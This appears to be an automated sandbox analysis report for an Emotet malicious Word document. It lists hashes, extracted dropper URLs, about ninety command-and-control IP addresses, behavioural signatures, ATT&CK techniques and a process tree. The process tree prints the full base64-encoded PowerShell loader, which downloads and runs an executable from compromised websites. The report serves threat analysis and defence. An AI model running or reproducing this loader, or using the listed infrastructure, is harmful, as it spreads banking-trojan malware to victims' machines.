emotet | 472ec9d73983ae7cf4fb5ca41721a4f67a6e21d0eacb22345df905cbe18de855

General

Target
emotet_e1_472ec9d73983ae7cf4fb5ca41721a4f67a6e21d0eacb22345df905cbe18de855_2020-08-18__161806._doc.doc
Size 178KB
Sample200818-vtbfcs9c7x
SHA256 472ec9d73983ae7cf4fb5ca41721a4f67a6e21d0eacb22345df905cbe18de855
MD5 fe222e95e373900c55303e078510dc94
SHA1 1102520c12f9984e310da50d4ed1cc2c0ee44d2c
SHA512 73ee4977840cc7ff0c0d320b4de386971183449861419e52e29bfad9810f2efba473ed0aa8df40c2d87deb4f22c41125a74284f2cd56eef94db7ccc246d18c91
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://jamesmalonefabrics.com/wp-admin/YS2TYA3NbL/
exe.dropper
https://www.inudyog.com/wp-admin/i2/
exe.dropper
https://88yinliu.com/wp-admin/VffcvPGr/
exe.dropper
http://guarany.net/zefiro/gSI5r781/
exe.dropper
https://www.thedcsstudio.com/wp-content/23Q1D22128/
exe.dropper
http://bethagroup.com.au/3GrPP0533/

Extracted

Family

emotet

C2

82.163.245.38:80
209.126.6.222:8080
5.153.250.14:8080
186.70.127.199:8090
190.128.173.10:80
190.195.129.227:8090
91.219.169.180:80
45.173.88.33:80
185.33.0.233:80
188.2.217.94:80
207.144.103.227:80
45.161.242.102:80
219.92.13.25:80
190.163.31.26:80
68.183.170.114:8080
191.99.160.58:80
73.213.208.163:80
94.176.234.118:443
104.131.41.185:8080
45.33.77.42:8080
114.109.179.60:80
213.60.96.117:80
41.84.248.134:443
83.169.21.32:7080
82.76.111.249:443
217.199.160.224:7080
80.249.176.206:80
82.196.15.205:8080
204.225.249.100:7080
190.6.193.152:8080
189.2.177.210:443
177.72.13.80:80
24.135.1.177:80
190.115.18.139:8080
192.241.146.84:8080
209.236.123.42:8080
213.176.36.147:8080
5.196.35.138:7080
104.131.103.37:8080
51.159.23.217:443
190.147.137.153:443
149.62.173.247:8080
137.74.106.111:7080
61.92.159.208:8080
177.73.0.98:443
24.135.198.218:80
85.105.140.135:443
187.162.248.237:80
46.28.111.142:7080
116.125.120.88:443
87.106.46.107:8080
212.71.237.140:8080
12.162.84.2:8080
178.79.163.131:8080
111.67.12.221:8080
95.9.180.128:80
192.241.143.52:8080
201.171.150.41:443
24.148.98.177:80
190.190.148.27:8080
186.103.141.250:443
72.47.248.48:7080
68.183.190.199:8080
172.104.169.32:8080
185.94.252.12:80
178.250.54.208:8080
91.222.77.105:80
217.13.106.14:8080
77.90.136.129:8080
2.47.112.152:80
95.180.234.21:80
186.250.52.226:8080
181.129.96.162:8080
77.55.211.77:8080
185.94.252.27:443
174.100.27.229:80
177.74.228.34:80
67.247.242.247:80
95.85.151.205:80
70.32.115.157:8080
89.32.150.160:8080
212.93.117.170:80
50.28.51.143:8080
94.206.45.18:80
202.4.57.96:80
191.182.6.118:80
58.171.153.81:80
143.0.87.101:80
51.255.165.160:8080
70.32.84.74:8080
73.116.193.136:80
170.81.48.2:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	756	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2576-12-0x00000000022C0000-0x00000000022CC000-memory.dmp	emotet
behavioral2/memory/2576-12-0x00000000022C0000-0x00000000022CC000-memory.dmp	emotet
behavioral2/memory/3608-15-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/3608-15-0x0000000000610000-0x000000000061C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
19	2756	powersheLL.exe
28	2756	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2576	Mz_0ff37o.exe
3608	KBDUGHR1.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\oleprn\KBDUGHR1.exe	Mz_0ff37o.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
532	WINWORD.EXE
532	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2756	powersheLL.exe
2756	powersheLL.exe
2756	powersheLL.exe
3608	KBDUGHR1.exe
3608	KBDUGHR1.exe
3608	KBDUGHR1.exe
3608	KBDUGHR1.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
2576	Mz_0ff37o.exe
2576	Mz_0ff37o.exe
3608	KBDUGHR1.exe
3608	KBDUGHR1.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2576	2756	powersheLL.exe	77
PID 2756 wrote to memory of 2576	2756	powersheLL.exe	77
PID 2756 wrote to memory of 2576	2756	powersheLL.exe	77
PID 2576 wrote to memory of 3608	2576	Mz_0ff37o.exe	78
PID 2576 wrote to memory of 3608	2576	Mz_0ff37o.exe	78
PID 2576 wrote to memory of 3608	2576	Mz_0ff37o.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_472ec9d73983ae7cf4fb5ca41721a4f67a6e21d0eacb22345df905cbe18de855_2020-08-18__161806._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:532

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUADUAbABmAHkAZgA4AD0AKAAnAFAAZgAnACsAJwA2AGwAOAB2ACcAKwAnAHoAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAHYAOgB0AEUAbQBwAFwAbwBmAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBJAFQAeQBwAHIAbwBgAFQAbwBjAGAAbwBMACIAIAA9ACAAKAAnAHQAJwArACcAbABzADEAJwArACcAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAJwArACcAcwAnACkAOwAkAFoAYQBvAGsAXwBrADcAIAA9ACAAKAAnAE0AegBfADAAZgBmACcAKwAnADMANwBvACcAKQA7ACQAWQB2AGUAOAAzADUAOAA9ACgAJwBWAGQAaABtAGIAJwArACcAbgBvACcAKQA7ACQATgBrADAAYwA1ADcAbQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAbgBUAHMATwAnACsAJwBmAGYAJwArACcAaQBjAGUAMgAwADEAOQBuAFQAcwAnACkAIAAgAC0AYwBSAEUAUABMAEEAYwBFACcAbgBUAHMAJwAsAFsAQwBoAEEAUgBdADkAMgApACsAJABaAGEAbwBrAF8AawA3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAHkAYgBiAGMAbwBsAD0AKAAnAFUAawBrADkAJwArACcAbwAnACsAJwB3AGMAJwApADsAJABNAF8AbwBzAGkAZABpAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAHcAZQBCAEMAbABpAEUAbgB0ADsAJABUADIAdgA5AHYAdABoAD0AKAAnAGgAdAB0AHAAOgAvAC8AagBhAG0AZQBzAG0AYQAnACsAJwBsAG8AbgAnACsAJwBlAGYAYQAnACsAJwBiACcAKwAnAHIAJwArACcAaQBjAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAFkAUwAyAFQAJwArACcAWQBBADMATgBiAEwALwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwB3AHcAdwAuAGkAbgAnACsAJwB1AGQAJwArACcAeQAnACsAJwBvAGcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkAMgAvACoAaAB0AHQAcABzADoALwAvADgAOAB5ACcAKwAnAGkAJwArACcAbgBsAGkAdQAuACcAKwAnAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AVgBmAGYAYwB2AFAARwByAC8AJwArACcAKgBoAHQAdABwADoAJwArACcALwAvAGcAdQBhAHIAYQAnACsAJwBuAHkALgBuACcAKwAnAGUAdAAvAHoAJwArACcAZQBmAGkAcgBvACcAKwAnAC8AJwArACcAZwBTAEkANQByACcAKwAnADcAOAAxAC8AKgBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB3AHcALgB0AGgAJwArACcAZQBkACcAKwAnAGMAcwBzAHQAdQBkAGkAbwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdAAnACsAJwBlACcAKwAnAG4AdAAvADIAMwBRACcAKwAnADEARAAyADIAJwArACcAMQAyADgALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AYgBlACcAKwAnAHQAaABhAGcAcgBvAHUAcAAuACcAKwAnAGMAbwBtAC4AYQB1ACcAKwAnAC8AMwBHAHIAUABQADAANQAzACcAKwAnADMALwAnACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBjAGgAbAB0AHoAbwA9ACgAJwBLAGwAJwArACcAMwB3ADQAZgB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAMwBlAHYAOQBzAHMAIABpAG4AIAAkAFQAMgB2ADkAdgB0AGgAKQB7AHQAcgB5AHsAJABNAF8AbwBzAGkAZABpAC4AIgBEAG8AVwBuAGAATABgAE8AYQBkAGAARgBJAGwAZQAiACgAJABEADMAZQB2ADkAcwBzACwAIAAkAE4AawAwAGMANQA3AG0AKQA7ACQATwA2AHoAZAA2AG4AdQA9ACgAJwBHADEAZQAnACsAJwByAHQAXwBoACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABOAGsAMABjADUANwBtACkALgAiAGwAZQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMgA0ADIAOAAwACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE4AawAwAGMANQA3AG0AKQA7ACQAVQB2ADAAZgBjADMAMgA9ACgAJwBBAHgAMgB4ADEAdwAnACsAJwB5ACcAKQA7AGIAcgBlAGEAawA7ACQAUgBuAHQAOABfAHUAcAA9ACgAJwBSAGIANQAnACsAJwB2ADkAcgAnACsAJwBwACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwB2AGEAdgB6AHIAcgA9ACgAJwBZADUANgAyACcAKwAnADUAOAB1ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\SysWOW64\oleprn\KBDUGHR1.exe
    "C:\Windows\SysWOW64\oleprn\KBDUGHR1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/532-0-0x00007FFF56F00000-0x00007FFF575C6000-memory.dmp

Download

memory/2576-12-0x00000000022C0000-0x00000000022CC000-memory.dmp

Download

memory/2756-6-0x00007FFF4B6B0000-0x00007FFF4C09C000-memory.dmp

Download

memory/2756-7-0x000001ADABF30000-0x000001ADABF31000-memory.dmp

Download

memory/2756-8-0x000001ADC4720000-0x000001ADC4721000-memory.dmp

Download

memory/3608-15-0x0000000000610000-0x000000000061C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads